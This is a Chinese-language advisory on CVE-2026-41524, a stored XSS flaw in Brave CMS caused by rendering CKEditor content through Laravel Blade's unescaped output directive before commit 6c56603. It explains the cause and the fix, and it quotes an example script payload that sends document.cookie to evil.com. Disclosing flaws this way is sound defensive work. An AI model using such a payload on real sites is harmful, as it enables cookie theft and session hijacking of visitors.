CVE-2026-41524Brave CMS存在严重的存储型XSS漏洞。在commit 6c56603之前,系统通过CKEditor富文本编辑器输入的页面与文章正文内容被原样存储至数据库,且在渲染时使用了Laravel Blade的未转义输出指令{!! !!}。这使得拥有编辑器权限的用户能够注入恶意JavaScript或HTML代码,这些代码将被永久存储,并在所有访客的浏览器加载页面时自动执行,从而造成严重的安全隐患。
该漏洞主要源于Laravel框架中Blade模板引擎的不当使用以及缺乏对富文本内容的输出编码机制。在受影响版本的Brave CMS中,系统允许通过CKEditor富文本编辑器输入页面和文章正文,但后端在处理这些数据时,未对潜在的恶意HTML标签进行有效的清洗或转义。关键问题在于渲染视图时,开发人员使用了Laravel Blade的未转义输出指令`{!! $content !!}`。该指令会直接将数据库中的原始数据输出到HTML页面中,而不经过`htmlspecialchars`等函数的实体编码处理。因此,拥有编辑器权限的攻击者可以轻易地在文章内容中嵌入恶意的JavaScript代码(如`<script>document.location='http://evil.com/?c='+document.cookie</script>`)。该载荷被持久化存储在数据库中,形成存储型XSS。每当任何用户(包括管理员)访问被篡改的页面时,恶意脚本即会在其浏览器上下文中自动执行,进而导致Cookie窃取、会话劫持、恶意重定向或进一步的权限提升。官方已在commit 6c56603中修复了此问题,通常涉及改用转义输出`{{ }}`或引入前端过滤库。